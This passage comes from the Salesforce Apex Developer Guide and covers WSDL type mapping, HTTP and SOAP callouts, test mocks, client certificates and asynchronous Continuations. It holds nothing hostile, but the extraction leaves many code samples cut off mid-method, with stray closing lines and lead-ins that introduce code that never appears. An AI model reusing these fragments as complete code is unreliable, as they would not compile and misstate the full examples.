and secure way to store and manage the credentials needed for HTTP callouts so that Salesforce can authenticate with external
APIs. For more information, see Named Credentials in Salesforce Help.
578
Apex Developer Guide Integration and Apex Utilities
The value of outputHttpHeaders_x is null by default. You must set outputHttpHeaders_x before you have access to the
content of headers in the response.
xsd:boolean Boolean
xsd:date Date
xsd:dateTime Datetime
xsd:double Double
xsd:float Double
xsd:int Integer
xsd:integer Integer
xsd:language String
xsd:long Long
xsd:Name String
xsd:NCName String
xsd:nonNegativeInteger Integer
xsd:NMTOKEN String
xsd:NMTOKENS String
xsd:normalizedString String
xsd:NOTATION String
xsd:positiveInteger Integer
xsd:QName String
579
Apex Developer Guide Integration and Apex Utilities
xsd:string String
xsd:time Datetime
xsd:token String
xsd:unsignedInt Integer
xsd:unsignedLong Long
xsd:unsignedShort Integer
Note: The Salesforce datatype anyType is not supported in WSDLs used to generate Apex code that is saved using API version
15.0 and later. For code saved using API version 14.0 and earlier, anyType is mapped to String.
Apex also supports the following schema constructs:
• xsd:all, in Apex code saved using API version 15.0 and later
• xsd:annotation, in Apex code saved using API version 15.0 and later
• xsd:attribute, in Apex code saved using API version 15.0 and later
• xsd:choice, in Apex code saved using API version 15.0 and later
• xsd:element. In Apex code saved using API version 15.0 and later, the ref attribute is also supported with the following
restrictions:
– You cannot call a ref in a different namespace.
– A global element cannot use ref.
– If an element contains ref, it cannot also contain name or type.
• xsd:sequence
The following data types are only supported when used as call ins, that is, when an external Web service calls an Apex Web service
method. These data types are not supported as callouts, that is, when an Apex Web service method calls an external Web service.
• blob
• decimal
• enum
Apex does not support any other WSDL constructs, types, or services, including:
• RPC/encoded services
• WSDL files with multiple portTypes, multiple services, or multiple bindings
• WSDL files that import external schemas. For example, the following WSDL fragment imports an external schema, which is not
supported:
<wsdl:types>
<xsd:schema
elementFormDefault="qualified"
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:include schemaLocation="AmazonS3.xsd"/>
580
Apex Developer Guide Integration and Apex Utilities
</xsd:schema>
</wsdl:types>
However, an import within the same schema is supported. In the following example, the external WSDL is pasted into the WSDL
you are converting:
<wsdl:types>
<xsd:schema
xmlns:tns="http://s3.amazonaws.com/doc/2006-03-01/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified"
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:element name="CreateBucket">
<xsd:complexType>
<xsd:sequence>
[...]
</xsd:schema>
</wsdl:types>
This modified version wraps the simpleType element as a complexType that contains a sequence of elements. This follows
the document literal style and is supported.
<wsdl:types>
<xsd:schema targetNamespace="http://test.org/AccountPollInterface/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCPollResponse" />
<xsd:complexType name="SFDCPollResponse">
<xsd:sequence>
<xsd:element name="SFDCOutput" type="xsd:string" />
</xsd:sequence>
</xsd:complexType>
</xsd:schema>
</wsdl:types>
581
Apex Developer Guide Integration and Apex Utilities
<!-- Above, the schema targetNamespace maps to the Apex class name. -->
<!-- Below, the type definitions for the parameters are listed.
Each complexType and simpleType parameteris mapped to an Apex class inside the parent
class for the WSDL. Then, each element in the complexType is mapped to a public field
inside the class. -->
<wsdl:types>
<s:schema elementFormDefault="qualified"
targetNamespace="http://doc.sample.com/docSample">
<s:element name="EchoString">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
<s:element name="EchoStringResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="EchoStringResult"
type="s:string" />
</s:sequence>
</s:complexType>
582
Apex Developer Guide Integration and Apex Utilities
</s:element>
</s:schema>
</wsdl:types>
<wsdl:message name="EchoStringSoapIn">
<wsdl:part name="parameters" element="tns:EchoString" />
</wsdl:message>
<wsdl:message name="EchoStringSoapOut">
<wsdl:part name="parameters" element="tns:EchoStringResponse" />
</wsdl:message>
<wsdl:portType name="DocSamplePortType">
<wsdl:operation name="EchoString">
<wsdl:input message="tns:EchoStringSoapIn" />
<wsdl:output message="tns:EchoStringSoapOut" />
</wsdl:operation>
</wsdl:portType>
<!--The code below defines how the types map to SOAP. -->
<!-- Finally, the code below defines the endpoint, which maps to the endpoint in the class
-->
<wsdl:service name="DocSample">
<wsdl:port name="DocSamplePort" binding="tns:DocSampleBinding">
<soap:address location="http://YourServer/YourService" />
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
From this WSDL document, the following Apex class is auto-generated. The class name docSample is the name you specify when
importing the WSDL.
//Generated by wsdl2apex
583
Apex Developer Guide Integration and Apex Utilities
'http://doc.sample.com/docSample',
null,'0','1','false'};
private String[] apex_schema_type_info = new String[]{
'http://doc.sample.com/docSample',
'true','false'};
private String[] field_order_type_info = new String[]{
'EchoStringResult'};
}
public class EchoString_element {
public String input;
private String[] input_type_info = new String[]{
'input',
'http://doc.sample.com/docSample',
null,'0','1','false'};
private String[] apex_schema_type_info = new String[]{
'http://doc.sample.com/docSample',
'true','false'};
private String[] field_order_type_info = new String[]{'input'};
}
public class DocSamplePort {
public String endpoint_x = 'http://YourServer/YourService';
public Map<String,String> inputHttpHeaders_x;
public Map<String,String> outputHttpHeaders_x;
public String clientCertName_x;
public String clientCert_x;
public String clientCertPasswd_x;
public Integer timeout_x;
private String[] ns_map_type_info = new String[]{
'http://doc.sample.com/docSample', 'docSample'};
public String EchoString(String input) {
docSample.EchoString_element request_x = new
docSample.EchoString_element();
request_x.input = input;
docSample.EchoStringResponse_element response_x;
Map<String, docSample.EchoStringResponse_element> response_map_x =
new Map<String, docSample.EchoStringResponse_element>();
response_map_x.put('response_x', response_x);
WebServiceCallout.invoke(
this,
request_x,
response_map_x,
new String[]{endpoint_x,
'urn:dotnet.callouttest.soap.sforce.com/EchoString',
'http://doc.sample.com/docSample',
'EchoString',
'http://doc.sample.com/docSample',
'EchoStringResponse',
'docSample.EchoStringResponse_element'}
);
response_x = response_map_x.get('response_x');
return response_x.EchoStringResult;
}
}
}
584
Apex Developer Guide Integration and Apex Utilities
Note:
• The class implementing the WebServiceMock interface can be either global or public.
585
Apex Developer Guide Integration and Apex Utilities
• You can annotate this class with @isTest because it is used only in a test context. In this way, you can exclude it from your
org’s code size limit of 6 MB.
Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass WebServiceMock.class, and for the second argument,
pass a new instance of your interface implementation of WebServiceMock, as follows:
After this point, if a web service callout is invoked in test context, the callout is not made. You receive the mock response specified in
your doInvoke method implementation.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This example shows how to test a web service callout. The implementation of the WebServiceMock interface is listed first. This
example implements the doInvoke method, which returns the response you specify. In this case, the response element of the
auto-generated class is created and assigned a value. Next, the response Map parameter is populated with this fake response. This
example is based on the WSDL listed in Generated WSDL2Apex Code. Import this WSDL and generate a class called docSample
before you save this class.
@isTest
global class WebServiceMockImpl implements WebServiceMock {
global void doInvoke(
Object stub,
Object request,
Map<String, Object> response,
String endpoint,
String soapAction,
String requestName,
String responseNS,
String responseName,
String responseType) {
docSample.EchoStringResponse_element respElement =
new docSample.EchoStringResponse_element();
respElement.EchoStringResult = 'Mock response';
response.put('response_x', respElement);
}
}
return echo;
}
}
586
Apex Developer Guide Integration and Apex Utilities
This test class contains the test method that sets the mock callout mode. It calls the callEchoString method in the previous class
and verifies that a mock response is received.
@isTest
private class WebSvcCalloutTest {
@isTest static void testEchoString() {
// This causes a fake response to be generated
Test.setMock(WebServiceMock.class, new WebServiceMockImpl());
SEE ALSO:
Apex Reference Guide: WebServiceMock Interface
587
Apex Developer Guide Integration and Apex Utilities
Test.stopTest();
}
}
• Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within Test.startTest
and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement.
Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest block.
MyClass.asyncCall();
Test.startTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
Test.stopTest();
Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods.
SEE ALSO:
Apex Reference Guide: Test Class
588
Apex Developer Guide Integration and Apex Utilities
Mapping Headers
Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the AJAX Toolkit
and .NET works.
1. HTTP Classes
589
Apex Developer Guide Integration and Apex Utilities
HTTP Classes
These classes expose the HTTP request and response functionality.
• Http Class. Use this class to initiate an HTTP request and response.
• HttpRequest Class: Use this class to programmatically create HTTP requests like GET, POST, PATCH, PUT, and DELETE.
• HttpResponse Class: Use this class to handle the HTTP response returned by HTTP.
The HttpRequest and HttpResponse classes support these elements.
• HttpRequest
– HTTP request types, such as GET, POST, PATCH, PUT, DELETE, TRACE, CONNECT, HEAD, and OPTIONS
– Request headers if needed
– Read and connection timeouts
– Redirects if needed
– Content of the message body
• HttpResponse
– The HTTP status code
– Response headers if needed
– Content of the response body
This example makes an HTTP GET request to the external server passed to the getCalloutResponseContents method in the
url parameter. This example also accesses the body of the returned response.
// Instantiate a new HTTP request, specify the method (GET) as well as the endpoint
HttpRequest req = new HttpRequest();
req.setEndpoint(url);
req.setMethod('GET');
The previous example runs synchronously, meaning no further processing happens until the external web service returns a response.
Alternatively, you can use the @future annotation to make the callout run asynchronously.
590
Apex Developer Guide Integration and Apex Utilities
This example makes an HTTP POST request to the external server passed to the getPostCalloutResponseContents method
in the url parameter. Replace Your_JSON_Content with the JSON content that you want to send in the callout.
public class HttpPostCalloutSample {
To access an external server from an endpoint or a redirect endpoint, add the remote site to a list of authorized remote sites. Log in to
Salesforce and from Setup, in the Quick Find box, enter Remote Site Settings, and then select Remote Site Settings.
Use the XML classes or JSON classes to parse XML or JSON content in the body of a request created by HttpRequest, or a response
accessed by HttpResponse.
Considerations
• The AJAX proxy handles redirects and authentication challenges (401/407 responses) automatically. For more information about
the AJAX proxy, see AJAX Toolkit documentation.
• You can set the endpoint as a named credential URL. A named credential URL contains the scheme callout:, the name of the
named credential, and an optional path. For example: callout:My_Named_Credential/some_path. A named credential
specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce manages all
authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to. You can
also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined in the named credential.
See Named Credentials as Callout Endpoints.
• When you set a request body in the callout, set the method to POST. If you set a request body and the request method is GET, a
POST request is performed.
• Callouts are blocked if you have pending uncommitted transactions from DML operations, queueable jobs (that are queued with
System.enqueueJob), Database.executeBatch, or future methods.
591
Apex Developer Guide Integration and Apex Utilities
Note:
• The class that implements the HttpCalloutMock interface can be either global or public.
• You can annotate this class with @isTest since it will be used only in test context. In this way, you can exclude it from your
organization’s code size limit of 6 MB.
Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling
Test.setMock in your test method. For the first argument, pass HttpCalloutMock.class, and for the second argument,
pass a new instance of your interface implementation of HttpCalloutMock, as follows:
After this point, if an HTTP callout is invoked in test context, the callout is not made and you receive the mock response you specified in
the respond method implementation.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This is a full example that shows how to test an HTTP callout. The interface implementation (MockHttpResponseGenerator) is
listed first. It is followed by a class containing the test method and another containing the method that the test calls. The testCallout
test method sets the mock callout mode by calling Test.setMock before calling getInfoFromExternalService. It then
verifies that the response returned is what the implemented respond method sent. Save each class separately and run the test in
CalloutClassTest.
@isTest
global class MockHttpResponseGenerator implements HttpCalloutMock {
// Implement this interface method
global HTTPResponse respond(HTTPRequest req) {
// Optionally, only send a mock response for a specific endpoint
// and method.
System.assertEquals('https://example.com/example/test', req.getEndpoint());
System.assertEquals('GET', req.getMethod());
592
Apex Developer Guide Integration and Apex Utilities
@isTest
private class CalloutClassTest {
@isTest static void testCallout() {
// Set mock callout class
Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());
SEE ALSO:
Apex Reference Guide: HttpCalloutMock Interface
Apex Reference Guide: Test Class
593
Apex Developer Guide Integration and Apex Utilities
To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.
Next, create an instance of StaticResourceCalloutMock and set the static resource, and any other properties.
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('myStaticResourceName');
mock.setStatusCode(200);
mock.setHeader('Content-Type', 'application/json');
In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for StaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class, mock);
After this point, if your test method performs a callout, the callout is not made and the Apex runtime sends the mock response you
specified in your instance of StaticResourceCalloutMock.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This is a full example containing the test method (testCalloutWithStaticResources) and the method it is testing
(getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named
mockResponse based on a text file with the content {"hah":"fooled you"}. Save each class separately and run the test in
CalloutStaticClassTest.
594
Apex Developer Guide Integration and Apex Utilities
}
}
@isTest
private class CalloutStaticClassTest {
@isTest static void testCalloutWithStaticResources() {
// Use StaticResourceCalloutMock built-in class to
// specify fake response and include response body
// in a static resource.
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('mockResponse');
mock.setStatusCode(200);
mock.setHeader('Content-Type', 'application/json');
In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for MultiStaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class, multimock);
595
Apex Developer Guide Integration and Apex Utilities
After this point, if your test method performs an HTTP callout to one of the endpoints https://example.com/example/test
or https://example.com/example/sfdc, the callout is not made and the Apex runtime sends the corresponding mock
response you specified in your instance of MultiStaticResourceCalloutMock.
This is a full example containing the test method (testCalloutWithMultipleStaticResources) and the method it is
testing (getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named
mockResponse based on a text file with the content {"hah":"fooled you"} and another named mockResponse2
based on a text file with the content {"hah":"fooled you twice"}. Save each class separately and run the test in
CalloutMultiStaticClassTest.
@isTest
private class CalloutMultiStaticClassTest {
@isTest static void testCalloutWithMultipleStaticResources() {
// Use MultiStaticResourceCalloutMock to
// specify fake response for a certain endpoint and
// include response body in a static resource.
MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource(
'https://example.com/example/test', 'mockResponse');
multimock.setStaticResource(
'https://example.com/example/sfdc', 'mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type', 'application/json');
596
Apex Developer Guide Integration and Apex Utilities
Test.stopTest();
}
}
597
Apex Developer Guide Integration and Apex Utilities
• Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within Test.startTest
and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement.
Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest block.
MyClass.asyncCall();
Test.startTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
Test.stopTest();
Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods.
SEE ALSO:
Apex Reference Guide: Test Class
Using Certificates
To use two-way SSL authentication, send a certificate with your callout that was either generated in Salesforce or signed by a certificate
authority (CA). Sending a certificate enhances security because the target of the callout receives the certificate and can use it to authenticate
the request against its keystore.
To enable two-way SSL authentication for a callout:
1. Generate a certificate.
2. Integrate the certificate with your code. See Using Certificates with SOAP Services and Using Certificates with HTTP Requests.
3. If you’re connecting to a third party and using a self-signed certificate, share the Salesforce certificate with them so that they can
add the certificate to their keystore. If you’re connecting to another application, generate and integrate the certificate with your
code, and then ensure that the Web or application server is configured to accept the certificate. This process depends on the type
of Web or application server you use.
4. Configure the remote site settings for the callout. Before any Apex callout can call an external site, that site must be registered in
the Remote Site Settings page, or the callout fails.
If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. To set up named
credentials, see Named Credentials and External Credentials in Salesforce Help.
598
Apex Developer Guide Integration and Apex Utilities
1. Generating Certificates
2. Using Certificates with SOAP Services
To support two-way authentication for a callout to a SOAP web service, generate a certificate in Salesforce or import a key pair from
a keystore into Salesforce. Then integrate the certificate with your Apex.
3. Using Certificates with HTTP Requests
Generating Certificates
You can use a self-signed certificate generated in Salesforce or a certificate signed by a certificate authority (CA). To generate a certificate
for a callout, see Generate a Certificate.
After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated.
After you create a CA-signed certificate, you must upload the signed certificate before you can use it. See “Generate a Certificate Signed
by a Certificate Authority” in the Salesforce online help.
Important: We recommend storing mutual authentication certificates for external web services in a Java keystore. For more
information, see Certificates and Keys.
To integrate the certificate with your Apex:
1. Receive the WSDL for the web service from the third party, or generate it from the application you want to connect to.
2. Generate Apex classes from the WSDL for the web service. See SOAP Services: Defining a Class from a WSDL Document.
3. The generated Apex classes include a stub for calling the third-party web service represented by the WSDL document. Edit the Apex
classes, and assign a value to a clientCertName_x variable on an instance of the stub class. The value must match the Unique
Name of the certificate that you generated on the Certificate and Key Management page.
This example illustrates editing the Apex classes and works with the sample WSDL file in Generated WSDL2Apex Code. The example
assumes that you generated a certificate with the Unique Name of DocSampleCert.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCertName_x = 'DocSampleCert';
String input = 'This is the input string';
String output = stub.EchoString(input);
599
Apex Developer Guide Integration and Apex Utilities
The following example illustrates the last step of the previous procedure. This example assumes that you previously generated a certificate
with a Unique Name of DocSampleCert.
HttpRequest req = new HttpRequest();
req.setClientCertificateName('DocSampleCert');
Note: This class uses Apex HTTP classes to make a callout as an example. You can also make a callout using an imported WSDL
through WSDL2Apex. The process for checking for read-only mode is the same in either case.
public class HttpCalloutSampleReadOnly {
public class MyReadOnlyException extends Exception {}
600
Apex Developer Guide Integration and Apex Utilities
if (mode == ApplicationReadWriteMode.READ_ONLY) {
// Prevent the callout
throw new MyReadOnlyException('Read-only mode. Skipping callouts!');
} else if (mode == ApplicationReadWriteMode.DEFAULT) {
// Instantiate a new http object
Http h = new Http();
Your Salesforce org is in read-only mode during some Salesforce maintenance activities, such as planned site switches and instance
refreshes. As part of Continuous Site Switching, your Salesforce org is switched to its ready site approximately once every six months.
For more information about site switching, see Continuous Site Switching.
To test read-only mode in sandbox, contact Salesforce to enable the read-only mode test option. Once the test option is enabled, you
can toggle read-only mode on and verify your apps.
601
Apex Developer Guide Integration and Apex Utilities
Visualforce Example
This diagram shows the execution path of an asynchronous callout, starting from a Visualforce page. A user invokes an action on a
Visualforce page that requests information from a Web service (step 1). The app server hands the callout request to the Continuation
server before returning to the Visualforce page (steps 2–3). The Continuation server sends the request to the Web service and receives
the response (steps 4–7), then hands the response back to the app server (step 8). Finally, the response is returned to the Visualforce
page (step 9).
A typical Salesforce application that benefits from asynchronous callouts contains a Visualforce page with a button. Users click that
button to get data from an external Web service. For example, a Visualforce page that gets warranty information for a certain product
from a Web service. Thousands of agents in the organization can use this page. Therefore, a hundred of those agents can click the same
button to process warranty information for products at the same time. These hundred simultaneous actions exceed the limit of concurrent
long-running requests on page 325 . But by using asynchronous callouts, the requests aren’t subjected to this limit and can be executed.
In the following example application, the button action is implemented in an Apex controller method. The action method creates a
Continuation and returns it. After the request is sent to the service, the Visualforce request is suspended. The user must wait for
the response to be returned before proceeding with using the page and invoking new actions. When the external service returns a
response, the Visualforce request resumes and the page receives this response.
This is the Visualforce page of our sample application. This page contains a button that invokes the startRequest method of the
controller that’s associated with this page. After the continuation result is returned and the callback method is invoked, the button
renders the outputText component again to display the body of the response.
<apex:page controller="ContinuationController" showChat="false" showHeader="false">
<apex:form >
<!-- Invokes the action method when the user clicks this button. -->
<apex:commandButton action="{!startRequest}"
value="Start Request" reRender="result"/>
</apex:form>
<!-- This output text component displays the callout response body. -->
<apex:outputText id="result" value="{!result}" />
</apex:page>
The following is the Apex controller that’s associated with the Visualforce page. This controller contains the action and callback methods.
602
Apex Developer Guide Integration and Apex Utilities
Note: Before you can call an external service, you must add the remote site to a list of authorized remote sites in the Salesforce
user interface. From Setup, enter Remote Site Settings in the Quick Find box, then select Remote Site Settings,
and then click New Remote Site.
If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. A named credential
specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials,
see Define a Named Credential in Salesforce Help. In your code, specify the named credential URL instead of the long-running
service URL. A named credential URL contains the scheme callout:, the name of the named credential, and an optional path.
For example: callout:My_Named_Credential/some_path.
// Action method
public Object startRequest() {
// Create continuation with a timeout
Continuation con = new Continuation(40);
// Set callback method
con.continuationMethod='processResponse';
// Callback method
public Object processResponse() {
// Get the response by using the unique label
HttpResponse response = Continuation.getResponse(this.requestLabel);
// Set the result variable that is displayed on the Visualforce page
this.result = response.getBody();
603
Apex Developer Guide Integration and Apex Utilities
Note:
• You can make up to three asynchronous callouts in a single continuation. Add these callout requests to the same continuation
by using the addHttpRequest method of the Continuation class. The callouts run in parallel for this continuation
and suspend the Visualforce request. Only after the external service returns all callouts, the Visualforce process resumes.
• Asynchronous callouts are supported only through a Visualforce page. Making an asynchronous callout by invoking the action
method outside a Visualforce page, such as in the Developer Console, isn’t supported.
• Asynchronous callouts are available for Apex controllers and Visualforce pages saved in version 30.0 and later. If JavaScript
remoting is used, version 31.0 or later is required.
• Asynchronous callouts, including callouts that specify named credentials as the callout endpoint, aren’t supported over Private
Connect.
SEE ALSO:
Named Credentials as Callout Endpoints
Lightning Web Components Developer Guide: Make Long-Running Callouts with Continuations
604
Apex Developer Guide Integration and Apex Utilities
Next, associate the Continuation object to an external callout. To do so, create the HTTP request, and then add this request to the
continuation as follows:
String requestLabel = cont.addHttpRequest(request);
Note: This process is based on making callouts with the HttpRequest class. For an example that uses a WSDL-based class, see
Making an Asynchronous Callout from an Imported WSDL.
The method that invokes the callout (the action method) must return the Continuation object to instruct Visualforce to suspend
the current request after the system sends the callout and waits for the callout response. The Continuation object holds the details
of the callout to be executed.
This is the signature of the method that invokes the callout. The Object return type represents a Continuation.
The Object return type represents a Continuation, a PageReference, or null. To render the original Visualforce page and
finish the Visualforce request, return null in the callback method.
If the action method uses JavaScript remoting (is annotated with @RemoteAction), the callback method must be static and has the
following supported signatures.
Or:
The labels parameter is supplied by the system when it invokes the callback method and holds the labels associated with the callout
requests made. The state parameter is supplied by setting the Continuation.state property in the controller.
This table lists the return values for the callback method. Each return value corresponds to a different behavior.
605
Apex Developer Guide Integration and Apex Utilities
Continuation The system suspends the Visualforce request again and waits for
the response of a new callout. Return a new Continuation
in the callback method to chain asynchronous callouts.
Note: If the continuationMethod property isn’t set for a continuation, the same action method that made the callout is
called again when the callout response returns.
SEE ALSO:
Apex Reference Guide: Continuation Class
// Action method
public Object startRequest() {
// Create continuation with a timeout
Continuation con = new Continuation(40);
// Set callback method
con.continuationMethod='processResponse';
606
Apex Developer Guide Integration and Apex Utilities
// Callback method
public Object processResponse() {
// Get the response by using the unique label
HttpResponse response = Continuation.getResponse(this.requestLabel);
// Set the result variable that is displayed on the Visualforce page
this.result = response.getBody();
This example shows the test class corresponding to the controller. This test class contains a test method for testing an asynchronous
callout. In the test method, Test.setContinuationResponse sets a mock response, and
Test.invokeContinuationMethod causes the callback method for the continuation to be executed. The test ensures that
the callback method processed the mock response by verifying that the controller’s result variable is set to the expected response.
@isTest
public class ContinuationTestingForHttpRequest {
public static testmethod void testWebService() {
ContinuationController controller = new ContinuationController();
// Invoke the continuation by calling the action method
Continuation conti = (Continuation)controller.startRequest();
607
Apex Developer Guide Integration and Apex Utilities
Continuation-Specific Limits
The following are Apex and Visualforce limits that are specific to a continuation.
Description Limit
Maximum number of parallel Apex callouts in a single continuation 3
Maximum HTTP POST form size—the size of all keys and values in the form3 1 MB
1
The timeout that is specified in the autogenerated Web service stub and in the HttpRequest objects is ignored. Only this timeout limit
is enforced for a continuation.
2
When the continuation is executed, the Visualforce controller is serialized. When the continuation is completed, the controller is
deserialized and the callback is invoked. Use the Apex transient modifier to designate a variable that is not to be serialized. The
framework uses only serialized members when it resumes. The controller-state size limit is separate from the view state limit. See
Differences Between Continuation Controller State and Visualforce View State.
3
This limit is for HTTP POST forms with the following content type headers:
content-type='application/x-www-form-urlencoded' and content-type='multipart/form-data'
608
Apex Developer Guide Integration and Apex Utilities
When you’re making multiple callouts in the same continuation, the callout requests run in parallel and suspend the Visualforce request.
Only after all callout responses are returned does the Visualforce process resume.
The following Visualforce and Apex examples show how to make two asynchronous callouts simultaneously by using a single continuation.
The Visualforce page is shown first. The Visualforce page contains a button that invokes the action method
startRequestsInParallel in the controller. When the Visualforce process resumes, the outputPanel component is
rendered again. This panel displays the responses of the two asynchronous callouts.
<apex:page controller="MultipleCalloutController" showChat="false" showHeader="false">
<apex:form >
<!-- Invokes the action method when the user clicks this button. -->
<apex:commandButton action="{!startRequestsInParallel}" value="Start Request"
reRender="panel"/>
</apex:form>
<apex:outputPanel id="panel">
<!-- Displays the response body of the initial callout. -->
<apex:outputText value="{!result1}" />
<br/>
<!-- Displays the response body of the chained callout. -->
<apex:outputText value="{!result2}" />
</apex:outputPanel>
</apex:page>
This example shows the controller class for the Visualforce page. The startRequestsInParallel method adds two requests
to the Continuation. After all callout responses are returned, the callback method (processAllResponses) is invoked and processes
the responses.
public with sharing class MultipleCalloutController {
// Action method
public Object startRequestsInParallel() {
// Create continuation with a timeout
Continuation con = new Continuation(60);
// Set callback method
con.continuationMethod='processAllResponses';
609
Apex Developer Guide Integration and Apex Utilities
req1.setMethod('GET');
req1.setEndpoint(LONG_RUNNING_SERVICE_URL1);
// Callback method.
// Invoked only when responses of all callouts are returned.
public Object processAllResponses() {
// Get the response of the first request
HttpResponse response1 = Continuation.getResponse(this.requestLabel1);
this.result1 = response1.getBody();
<apex:form >
<!-- Invokes the action method when the user clicks this button. -->
<apex:commandButton action="{!invokeInitialRequest}" value="Start Request"
reRender="panel"/>
</apex:form>
610
Apex Developer Guide Integration and Apex Utilities
<apex:outputPanel id="panel">
<!-- Displays the response body of the initial callout. -->
<apex:outputText value="{!result1}" />
<br/>
<!-- Displays the response body of the chained callout. -->
<apex:outputText value="{!result2}" />
</apex:outputPanel>
</apex:page>
This example show the controller class for the Visualforce page. The invokeInitialRequest method creates the first continuation.
The callback method (processInitialResponse) processes the response of the first callout. If this response meets a certain
condition, the method chains another callout by returning a second continuation. After the response of the chained continuation is
returned, the second callback method (processChainedResponse) is invoked and processes the second response.
public with sharing class ChainedContinuationController {
// Action method
public Object invokeInitialRequest() {
// Create continuation with a timeout
Continuation con = new Continuation(60);
// Set callback method
con.continuationMethod='processInitialResponse';
611
Apex Developer Guide Integration and Apex Utilities
Note: The response of a continuation must be retrieved before you create a new continuation and before the Visualforce request
is suspended again. You can’t retrieve an old response from an earlier continuation in the chain of continuations.
612
Apex Developer Guide Integration and Apex Utilities
AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
stockQuoteService =
new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
stockQuoteFuture = stockQuoteService.beginStockQuote(cont,'CRM');
return cont;
}
When the external service returns the response of the asynchronous callout (the beginStockQuote method), this callback method
is executed. It gets the response by calling the getValue method on the response object.
public Object processResponse() {
result = stockQuoteFuture.getValue();
return null;
}
The following is the entire controller with the action and callback methods.
public class ContinuationSOAPController {
AsyncSOAPStockQuoteService.GetStockQuoteResponse_elementFuture
stockQuoteFuture;
public String result {get;set;}
// Action method
public Continuation startRequest() {
Integer TIMEOUT_INT_SECS = 60;
Continuation cont = new Continuation(TIMEOUT_INT_SECS);
cont.continuationMethod = 'processResponse';
AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
stockQuoteService =
new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
stockQuoteFuture = stockQuoteService.beginGetStockQuote(cont,'CRM');
return cont;
}
613
Apex Developer Guide Integration and Apex Utilities
// Callback method
public Object processResponse() {
result = stockQuoteFuture.getValue();
// Return null to re-render the original Visualforce page
return null;
}
}
This example shows the corresponding Visualforce page that invokes the startRequest method and displays the result field.
<apex:page controller="ContinuationSOAPController" showChat="false" showHeader="false">
<apex:form >
<!-- Invokes the action method when the user clicks this button. -->
<apex:commandButton action="{!startRequest}"
value="Start Request" reRender="result"/>
</apex:form>
<!-- This output text component displays the callout response body. -->
<apex:outputText value="{!result}" />
</apex:page>
This example is the test class that corresponds to the ContinuationSOAPController controller. The test method in the class
sets a fake response and invokes a mock continuation. The callout isn’t sent to the external service. To perform a mock callout, the test
calls these methods of the Test class: Test.setContinuationResponse() and Test.invokeContinuationMethod().
@isTest
public class ContinuationTestingForWSDL {
public static testmethod void testWebService() {
ContinuationSOAPController demoWSDLClass =
new ContinuationSOAPController();
614
Apex Developer Guide Integration and Apex Utilities
JSON Support
